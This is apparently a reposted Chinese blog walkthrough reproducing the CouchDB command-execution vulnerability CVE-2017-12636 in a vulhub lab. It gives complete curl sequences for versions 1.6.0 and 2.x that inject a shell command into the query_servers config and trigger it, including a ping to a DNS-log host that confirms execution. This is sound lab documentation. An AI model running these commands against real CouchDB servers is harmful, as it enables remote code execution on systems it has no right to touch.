如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

这期内容当中小编将会给大家带来有关如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。术语 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母缩写,它反映了 CouchDB 的目标具有高度可伸缩性,提供了高可用性和高可靠性,即使运行在容易出现故障的硬件上也是如此。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

由于该漏洞利用条件需要登录用户触发,通常配合CVE-2017-12635一起利用

CVE-2017-12635复现文章链接

下面仅作漏洞复现记录与实现,利用流程如下:

1.漏洞环境

目标链接:http://192.168.101.152:5984/

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

访问链接http://192.168.101.152:5984/_utils/如下

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

由于Couchdb 2.x和和1.x的的API接口有所差别,导致利用方式也不同,这里演示版本为1.6.0版本

2.漏洞利用

1.6.0漏洞利用:

依次执行以下命令即可触发

其中vulhub:vulhub为管理员的账户密码

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/_config/query_servers/cmd' -d '"ping test.kfqhkz.dnslog.cn"'

curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/vultest'

curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST 'http://vulhub:vulhub@192.168.101.152:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

执行完毕后查看dnslog

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

命令执行成功

2.x漏洞利用如下:

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问`/_membership`即可:

“`
curl http://vulhub:vulhub@your-ip:5984/_membership
“`

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

可见,我们这里只有一个node,名字是`nonode@nohost`。

然后,我们修改`nonode@nohost`的配置:

“`
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
“`

如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现

然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:

“`
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
“`

Couchdb 2.x删除了`_temp_view`,所以我们为了触发`query_servers`中定义的命令,需要添加一个`_view`:

“`
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
“`

增加`_view`的同时即触发了`query_servers`中的命令。

上述就是小编为大家分享的如何进行couchdb 任意命令执行漏洞CVE-2017-12636复现了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/safety/220105.html

(0)
上一篇 2022年1月2日 16:34
下一篇 2022年1月2日 16:34

相关推荐

发表回复

登录后才能评论